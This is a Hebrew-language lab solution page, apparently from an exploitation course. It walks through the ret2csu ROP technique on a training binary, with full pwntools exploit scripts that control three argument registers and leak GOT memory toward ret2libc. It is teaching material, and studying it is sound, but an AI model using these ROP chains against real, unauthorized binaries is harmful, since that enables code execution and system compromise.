לדלג לתוכן

6.2 ret2csu פתרון

פתרון - ret2csu

נעבור תרגיל אחרי תרגיל עם הפקודות האמיתיות, הפלט הצפוי, וה-exploit המלא. הכתובות בפלט הן דוגמה - אצלכם הן עשויות להיות שונות בין גרסאות מהדר, אז תמיד שלפו את הכתובות מהבינארי שלכם ולא תעתיקו עיוור.

פתרון תרגיל 1 - סיור, הגנות, ואישור שאין pop rdx

בדיקת ההגנות:

$ checksec --file=./demo
RELRO           STACK CANARY   NX            PIE
Partial RELRO   No canary      NX enabled    No PIE

בדיוק מה שרצינו: NX פעיל, אין canary, אין PIE. כל הכתובות בבינארי קבועות.

מוודאים שאין pop rdx:

$ ROPgadget --binary ./demo | grep 'pop rdx ; ret'
$

אין פלט. אין דרך פשוטה לטעון את rdx, ולכן אנחנו זקוקים ל-ret2csu. מאשרים שהפונקציה קיימת:

$ objdump -d ./demo | grep '<__libc_csu_init>:'
00000000004011c0 <__libc_csu_init>:

מצוין, יש לנו את מאגר הגאדג'טים.

פתרון תרגיל 2 - מציאת שני הגאדג'טים

מפרקים את סוף הפונקציה:

$ objdump -d ./demo | grep -A24 '<__libc_csu_init>:'

והפלט הרלוונטי:

00000000004011c0 <__libc_csu_init>:
  ...
  4011da:  mov    rdx, r15
  4011dd:  mov    rsi, r14
  4011e0:  mov    edi, r13d
  4011e3:  call   QWORD PTR [r12+rbx*8]
  4011e7:  add    rbx, 0x1
  4011eb:  cmp    rbp, rbx
  4011ee:  jne    4011da
  4011f0:  add    rsp, 0x8
  4011f4:  pop    rbx
  4011f5:  pop    rbp
  4011f6:  pop    r12
  4011f8:  pop    r13
  4011fa:  pop    r14
  4011fc:  pop    r15
  4011fe:  ret

משם קוראים את שתי הכתובות:

  • csu_call = 0x4011da - השורה mov rdx, r15, שממנה מתחיל רצף ה-mov/call.
  • csu_pop = 0x4011f4 - השורה pop rbx, שממנה מתחיל רצף שש הוראות ה-pop עד ה-ret.

כמו שהזכרנו בתרגול, גאדג'ט ה-mov/call מסתיים ב-call ולא ב-ret, ולכן ROPgadget בברירת מחדל לא מציג אותו. objdump הוא הדרך הבטוחה למצוא אותו.

פתרון תרגיל 3 - מציאת התא של מצביע הפונקציה

call [r12+rbx*8] עם rbx=0 הוא call [r12], כלומר r12 צריך להצביע על תא שמכיל את כתובת print_flag. התא הזה הוא g_target:

$ objdump -t ./demo | grep g_target
0000000000404050 g     O .data  0000000000000008 g_target

מוודאים ש-g_target באמת מכיל את הכתובת של print_flag:

$ gdb ./demo
pwndbg> p print_flag
$1 = {void (unsigned int, unsigned long, unsigned long)} 0x401176 <print_flag>
pwndbg> x/gx &g_target
0x404050 <g_target>:  0x0000000000401176

הערך בתוך g_target (בכתובת 0x404050) הוא 0x401176, שזו בדיוק הכתובת של print_flag. אז נשים r12 = 0x404050 (הכתובת של g_target), ואז call [r12] יקרא ל-print_flag. אל תשימו את 0x401176 ב-r12 - זו טעות קלאסית שתגרום לקריאה לזבל.

פתרון תרגיל 4 - הchain המלאה

קודם ה-offset. שולחים תבנית מחזורית וקוראים איזה ערך נכנס למצביע ההוראות:

from pwn import *
context.binary = ELF('./demo')

p = process('./demo')
p.sendline(cyclic(200))
p.wait()
core = p.corefile
log.info('offset = %d', cyclic_find(core.read(core.rsp, 8)))

עבור הbuffer של 64 בתים ו-saved rbp של 8 בתים יוצא offset של 72. עכשיו ה-exploit המלא:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./demo')

# two __libc_csu_init gadgets (pull them from your own binary)
csu_pop  = 0x4011f4   # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
csu_call = 0x4011da   # mov rdx,r15 ; mov rsi,r14 ; mov edi,r13d ; call [r12+rbx*8]

g_target = elf.symbols['g_target']   # 0x404050 - the cell holding a pointer to print_flag
exit_fn  = elf.symbols['exit']

offset = 72

payload = flat({offset: [
    csu_pop,
    0,                       # rbx = 0   -> call [r12+0]
    1,                       # rbp = 1   -> don't loop back
    g_target,                # r12 = &g_target
    0xdeadbeef,              # r13 -> edi  (arg1, 32 bits)
    0xcafebabecafebabe,      # r14 -> rsi  (arg2)
    0x1337133713371337,      # r15 -> rdx  (arg3)
    csu_call,
    0, 0, 0, 0, 0, 0, 0,     # seven padding slots: add rsp,8 + six pop
    exit_fn,                 # the final ret
]])

p = process('./demo')
p.recvuntil(b'bytes:')
p.sendline(payload)
print(p.recvall(timeout=2).decode())

הפלט:

FLAG{ret2csu_three_args_pwned}

אם רוצים לוודא שהאוגרים באמת נכונים, עוצרים ב-print_flag:

$ gdb ./demo
pwndbg> break *print_flag
pwndbg> run < payload.bin
pwndbg> p/x $rdi
$1 = 0xdeadbeef
pwndbg> p/x $rsi
$2 = 0xcafebabecafebabe
pwndbg> p/x $rdx
$3 = 0x1337133713371337

שלושת הארגומנטים במקום. למה זה עבד: גאדג'ט ה-pop טען את אוגרי הביניים, גאדג'ט ה-mov/call העביר אותם ל-rdi/rsi/rdx וקרא ל-print_flag דרך [g_target], שלושת ה-if עברו, והדגל הודפס. איך להכליל: כל קריאה ל-func(a,b,c) ב-64 ביט בלי pop rsi/pop rdx נבנית בדיוק ככה. אם arg1 צריך להיות כתובת מלאה של 64 ביט, הוסיפו pop rdi ; ret אחרי גאדג'ט ה-call, כי mov edi, r13d מגביל אתכם ל-32 ביט.

טעות נפוצה שכדאי להדגים לעצמכם: אם משמיטים סלוט padding אחד אחרי csu_call, ה-ret הסופי ישלוף את הערך הלא נכון והתוכנית תקרוס אחרי שהדגל כבר הודפס. אם שוכחים את rbp=1, ה-jne יילקח, נחזור ללולאה ונקרא ל-[r12+8] עם זבל - קריסה עוד לפני הדגל.

פתרון תרגיל 5 - מה עושים כשאין __libc_csu_init

על בינארי שקומפל ב-glibc 2.34 ומעלה:

$ objdump -d ./demo_modern | grep '__libc_csu_init'
$

אין פלט - הפונקציה נעלמה. מ-glibc 2.34 שינו את __libc_start_main כך שהוא כבר לא מקבל מצביעי init/fini, והמהדר הפסיק לפלוט את __libc_csu_init. אז מה החלופות?

  • גאדג'ט mov rdx אחר: לפעמים נשארים בבינארי קטעים שקולים. שווה לנסות ROPgadget --binary ./demo_modern | grep 'mov rdx' ולראות אם יש משהו שימושי (למשל mov rdx, ... ; ret או גאדג'ט call עקיף אחר).
  • גאדג'טים מ-libc: אם יש leak של כתובת libc, מרחב הגאדג'טים של libc ענק וכמעט תמיד יכיל pop rdx ; ret. one_gadget ./libc.so.6 אף מוצא כתובת אחת שפותחת shell בלי לגעת בארגומנטים.
  • טכניקת SROP (6.3): מזייפים signal frame וקובעים את כל האוגרים בבת אחת, כולל rdx. זו החלופה הישירה ל-ret2csu כשאין את גאדג'טי ה-csu.
  • טכניקת ret2dlresolve (6.4): מכריחים את ה-linker לפענח ולקרוא לפונקציה בשבילנו, בלי leak ובלי גאדג'טים לאוגרים.

איך להכליל: ret2csu הוא כלי מצוין, אבל הוא לא אוניברסלי לנצח. תמיד קודם בדקו אם __libc_csu_init בכלל קיים, ואם לא - עברו ל-SROP או ל-ret2dlresolve.

פתרון תרגיל 6 (בונוס) - קריאה לפונקציית libc דרך ה-GOT

כשהיעד הוא פונקציית libc, לא צריך מצביע גלובלי משלנו - כניסת ה-GOT של הפונקציה כבר מכילה את כתובתה המפוענחת. נכוון את r12 על write@got:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./demo')

csu_pop  = 0x4011f4
csu_call = 0x4011da

offset = 72

payload = flat({offset: [
    csu_pop,
    0,                       # rbx = 0
    1,                       # rbp = 1
    elf.got['write'],        # r12 = &write@got  -> call [write@got] == write
    1,                       # r13 -> edi = fd = 1 (fits nicely in 32 bits)
    elf.symbols['g_target'], # r14 -> rsi = source address to print
    8,                       # r15 -> rdx = byte count
    csu_call,
    0, 0, 0, 0, 0, 0, 0,     # seven padding slots
    elf.symbols['main'],     # go back to main so we can overflow again
]])

p = process('./demo')
p.recvuntil(b'bytes:')
p.sendline(payload)
print(p.recvall(timeout=2).hex())

הפלט יהיה שמונת הבתים שנמצאים ב-g_target (כלומר הכתובת של print_flag), מודפסים כ-hex גולמי. למה זה עבד: call [write@got] קורא את כתובת write מתוך ה-GOT וקופץ אליה, כשה-fd, כתובת המקור, וספירת הבתים כבר טעונים ב-edi/rsi/rdx דרך גאדג'ט ה-mov/call. איך להכליל: זה בדיוק הצעד הראשון בleak chain - write(1, elf.got['puts'], 8) מדליף את כתובת puts ב-libc, ומשם מחשבים את בסיס libc ועוברים ל-ret2libc. שימו לב ש-main בסוף הchain מחזיר אותנו לזרימה הvulnerable, כך שאפשר לשלוח payload שני שמנצל את הכתובת שדלפה.